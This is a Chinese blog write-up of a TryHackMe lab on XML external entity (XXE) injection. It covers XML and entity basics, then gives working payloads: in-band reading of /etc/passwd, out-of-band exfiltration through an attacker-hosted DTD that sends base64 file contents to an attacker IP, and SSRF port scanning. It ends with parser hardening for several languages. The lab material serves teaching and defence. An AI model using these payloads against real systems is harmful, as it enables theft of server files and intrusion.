xinyi709

Loading...

xxe注入

这是我根据THM里面的xxe注入讲解,写下的这篇笔记

XML

XML是一种源自SGML(标准化标记语言)的标记语言,它与HTML基于的标准相同。它由元素、属性和字符数据组成,以结构化和有组织的方式表示数据。

XML元素由标签表示,标签周围环绕着角括号(<>)。标签通常是成对的,即内容前面的开头标签和内容后面的关闭标签。

例如:

<?xml version="1.0" encoding="UTF-8"?>
<user id="1">
   <name>John</name>
   <age>30</age>
   <address>
      <street>123 Main St</street>
      <city>Anytown</city>
   </address>
</user>

XSLT

(Extensible Stylesheet Language Transformations,可扩展样式表语言变换)是一种用于转换和格式化XML文档的语言。

DTD

文档类型定义,定义了 XML 文档的结构和约束,指定它们之间允许的元素、属性和关系。DTD 可以是 XML 文档内部的,也可以是单独文件中的外部。

内部 DTD 使用 <!DOCTYPE 声明,而外部 DTD 则使用 SYSTEM 关键字引用。

例如:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE config [
<!ELEMENT config (database)>
<!ELEMENT database (username, password)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
]> <!-- <!ELEMENT 声明指定允许的元素及其关系 -->
<config>
<!-- configuration data -->
</config>

XML实体

有五种类型:内部实体、外部实体、参数实体、一般实体和字符实体。

1.内部实体(Internal Entities)

内部实体本质上是XML文档中用于定义和替换可能重复多次的内容的变量。它们在DTD(文档类型定义)中定义,可以简化重复信息的管理。

例如:

<!DOCTYPE note [
<!ENTITY inf "This is a test.">
]>
<note>
        <info>&inf;</info>
</note>

在这个例子中,无论在文档中的何处出现,实体&inf;会被其值"This is a test."所取代

2.外部实体(External Entities)

外部实体与内部实体类似,但其内容从 XML 文档之外引用。比如从一个单独的文件或者一个URL引用。

例如:

<!DOCTYPE note [
<!ENTITY ext SYSTEM "http://example.com/external.dtd">
]>
<note>
        <info>&ext;</info>
</note>

这里的&ext;从指定的URL中提取内容,如果URL由攻击者控制,则可能存在安全风险。

3.参数实体(Parameter Entities)

参数实体是DTD中用于定义可重用结构或包含外部DTD子集的特殊类型的实体。它们对于模块化 DTD 和维护大规模 XML 应用程序特别有用。

例如:

<!DOCTYPE note [
<!ENTITY % common "CDATA">
<!ELEMENT name (%common;)>
]>
<note>
        <name>John Doe</name>
</note>

在这种情况下,%common; 用于在 DTD 中定义name元素应包含的数据类型。

4.一般实体(General Entities)

可以在内部或外部声明,它们用于定义可以在 XML 文档正文中使用的替换

例如:

<!DOCTYPE note [
<!ENTITY author "John Doe">
]>
<note>
        <writer>&author;</writer>
</note>

实体&author; 是一个一般实体,用于在文档中引用的任何地方替换author的名字。

5.字符实体(Character Entities)

字符实体用于表示不能直接在 XML 文档中使用的特殊或保留字符,这些实体可防止解析器曲解 XML 语法。

例如:

&lt;相当于小于符号(<)

&gt;相当于大于符号(>)

&amp; 相当于and符号(&)

<note>
        <text>Use &lt; to represent a less-than symbol.</text>
</note>

此用法可确保特殊字符由 XML 解析器正确处理,而不会破坏文档的结构。

带内XXE

带内 XXE 是指攻击者可以看到来自服务器的响应的 XXE 漏洞,攻击者只需向应用程序发送恶意 XML pyload,服务器就会响应提取的数据或攻击的结果。

利用这个可以直接进行数据泄露和文件读取

例如:

访问THM靶机如下界面,填写表格,bp抓包

屏幕截图 2025-07-09 091210

屏幕截图 2025-07-09 091513

这里提交的数据由靶机内的contact_submit.php处理,目的是在用户在表单中提交消息时返回名称参数的值。

相关代码片段如下

libxml_disable_entity_loader(false);

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $xmlData = file_get_contents('php://input');

    $doc = new DOMDocument();
    $doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD); 

    $expandedContent = $doc->getElementsByTagName('name')[0]->textContent;//可以看出,它用了name

    echo "Thank you, " .$expandedContent . "! Your message has been received.";
}

这个代码有漏洞,可以利用其进行带内XXE

由于应用程序返回name参数的值,我们可以注入指向 /etc/passwd 的实体以得到其值。

exp:

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</contact>

屏幕截图 2025-07-09 092028

可以看到,成功读取到了/etc/passwd

带外XXE

带外 XXE 是指攻击者无法看到服务器响应的 XXE 漏洞。这就需要使用替代通道(如 DNS 或 HTTP 请求)来泄露数据。为了提取数据,需要构建一个触发带外请求的xxe payload,例如 DNS 查询或 HTTP 请求。

例如:

访问靶机如下界面

屏幕截图 2025-07-09 092412

用户上传文件时,服务端使用如下代码处理:

libxml_disable_entity_loader(false);
$xmlData = file_get_contents('php://input'); 

$doc = new DOMDocument();
$doc->loadXML($xmlData, LIBXML_NOENT | LIBXML_DTDLOAD);

$links = $doc->getElementsByTagName('file');

foreach ($links as $link) {
    $fileLink = $link->nodeValue;
    $stmt = $conn->prepare("INSERT INTO uploads (link, uploaded_date) VALUES (?, NOW())");
    $stmt->bind_param("s", $fileLink);
    $stmt->execute();
    
    if ($stmt->affected_rows > 0) {
        echo "Link saved successfully.";
    } else {
        echo "Error saving link.";
    }
    
    $stmt->close();
}

上面的代码不返回提交的 XML 数据的值。因此,想要得到泄露的数据,必须使用攻击者控制的服务器来进行“带外”。

这里攻击机的ip为 10.10.79.104 ,靶机ip为 10.10.241.102

上传文件后,用bp抓包,把包发出去,会再拦住一个submit.php,这个就是xxe利用的包

攻击机这里先在桌面开一个http服务,端口为1337

python3 -m http.server 1337

然后在bp里把包里的内容改为如下,发送

<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://10.10.79.104:1337/" >]>
<upload><file>&xxe;</file></upload>

屏幕截图 2025-07-15 102423

直接看右边的回显当然没有什么,这时候回去看看攻击机的终端

屏幕截图 2025-07-15 102829

这里收到了它的访问,给了回显

接下来,在攻击机的桌面创建一个sample.dtd文件,里面内容如下:

<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://10.10.79.104:1337/?data=%cmd;'>">
%oobxxe;

然后用bp把包里的内容改为如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE upload SYSTEM "http://10.10.79.104:1337/sample.dtd">
<upload>    <file>&exfil;</file></upload>

然后发包

屏幕截图 2025-07-15 103255

再回去看终端

屏幕截图 2025-07-15 103521

有回显了,base64解码看看,就是/etc/passwd的内容

屏幕截图 2025-07-15 103638

带外注入成功

SSRF+XXE

当攻击者滥用服务器上的功能,导致服务器向意外位置发出请求时,就会发生攻击。攻击者可以操作 XML 输入,使服务器请求内部服务或访问内部文件。

内网扫描

例如,使用来自内带 XXE 任务的捕获请求,将捕获的请求发送到 Burp Intruder,并使用以下pyload:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

不断爆破数字,从1到65535,根据回显长度来判断哪个有服务

屏幕截图 2025-07-15 105339

最后发现81端口

屏幕截图 2025-07-15 105247

防范措施

以下是针对xxe漏洞的不同语言的防范措施

Java

使用 DocumentBuilderFactory 并禁用 DTD:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();

.NET

配置 XML 阅读器以忽略 DTD 和外部实体:

XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);

PHP

禁用 libxml 加载外部实体:

libxml_disable_entity_loader(true);

Python

使用 demendedxml 库:

from defusedxml.ElementTree import parse
et = parse(xml_input)
posted @ 2026-05-22 09:27  xinyi709  阅读(12)  评论(0)    收藏  举报